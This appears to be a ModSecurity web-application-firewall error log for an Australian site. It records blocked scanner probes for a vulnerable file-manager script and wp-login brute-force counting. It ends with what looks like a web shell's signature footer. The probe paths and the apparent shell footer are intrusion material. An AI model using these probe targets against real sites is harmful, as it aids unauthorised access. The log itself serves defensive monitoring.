[Tue May 26 21:04:05.451675 2026] [:error] [pid 43701:tid 43716] [client 170.64.238.42:52882] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRYWtVI_UGrhtwKDHwAAAAU0"]
[Tue May 26 21:04:05.452692 2026] [:error] [pid 33977:tid 33983] [client 170.64.238.42:52888] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuTQAAAAM"]
[Tue May 26 21:04:05.454908 2026] [:error] [pid 36497:tid 36515] [client 170.64.238.42:52900] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGXAAAAMU"]
[Tue May 26 21:04:05.480085 2026] [:error] [pid 36497:tid 36519] [client 170.64.238.42:52902] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGXQAAAMk"]
[Tue May 26 21:04:05.494819 2026] [:error] [pid 33887:tid 33931] [client 170.64.238.42:52912] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRdCOI_FV7meOxGc6wQAAAIw"]
[Tue May 26 21:04:05.496079 2026] [:error] [pid 33977:tid 34001] [client 170.64.238.42:52918] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuTgAAABU"]
[Tue May 26 21:04:05.497148 2026] [:error] [pid 33977:tid 33996] [client 170.64.238.42:52924] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuTwAAABA"]
[Tue May 26 21:04:05.525709 2026] [:error] [pid 36497:tid 36528] [client 170.64.238.42:52928] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGXgAAANI"]
[Tue May 26 21:04:05.536362 2026] [:error] [pid 33977:tid 33990] [client 170.64.238.42:52944] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuUQAAAAo"]
[Tue May 26 21:04:05.538918 2026] [:error] [pid 36497:tid 36525] [client 170.64.238.42:52960] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRbjKQWM1gBmBY4gGXwAAAM8"]
[Tue May 26 21:04:05.543062 2026] [:error] [pid 33977:tid 34000] [client 170.64.238.42:52976] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuUgAAABQ"]
[Tue May 26 21:04:05.570142 2026] [:error] [pid 33977:tid 33987] [client 170.64.238.42:52986] [client 170.64.238.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahWaRe9cnSDNAU9sYPjuUwAAAAc"]
[Tue May 26 21:06:45.865153 2026] [:error] [pid 33977:tid 34001] [client 43.133.91.48:36758] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahWa5e9cnSDNAU9sYPjvlgAAABU"]
[Tue May 26 21:36:16.649636 2026] [:error] [pid 36497:tid 36520] [client 103.166.184.148:53528] [client 103.166.184.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.166.184.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahWh0LjKQWM1gBmBY4geGwAAAMo"]
[Tue May 26 21:36:19.099345 2026] [:error] [pid 36497:tid 36524] [client 103.166.184.148:53528] [client 103.166.184.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.166.184.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahWh07jKQWM1gBmBY4geHgAAAM4"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 22:08:30.526424 2026] [:error] [pid 33887:tid 33931] [client 147.93.168.136:47262] [client 147.93.168.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.93.168.136, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahWpXtCOI_FV7meOxGdP1AAAAIw"]
[Tue May 26 22:08:33.083013 2026] [:error] [pid 33887:tid 33919] [client 147.93.168.136:47262] [client 147.93.168.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.93.168.136, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahWpYdCOI_FV7meOxGdP1gAAAIA"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 23:19:19.327477 2026] [:error] [pid 33886:tid 33901] [client 119.18.52.246:44782] [client 119.18.52.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 119.18.52.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahW597BYzgp5rPVdHcXPjAAAAEo"]
[Tue May 26 23:19:20.478595 2026] [:error] [pid 33886:tid 33915] [client 119.18.52.246:44782] [client 119.18.52.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 119.18.52.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahW5-LBYzgp5rPVdHcXPjgAAAFg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 23:31:22.471868 2026] [:error] [pid 36497:tid 36529] [client 5.9.161.137:39770] [client 5.9.161.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.9.161.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahW8yrjKQWM1gBmBY4h6aQAAANM"]
[Tue May 26 23:31:23.557194 2026] [:error] [pid 36497:tid 36514] [client 5.9.161.137:39770] [client 5.9.161.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.9.161.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahW8y7jKQWM1gBmBY4h6bgAAAMQ"], referer: https://vetstars.com.au/wp-login.php

Youez - 2016 - github.com/yon3zu
LinuXploit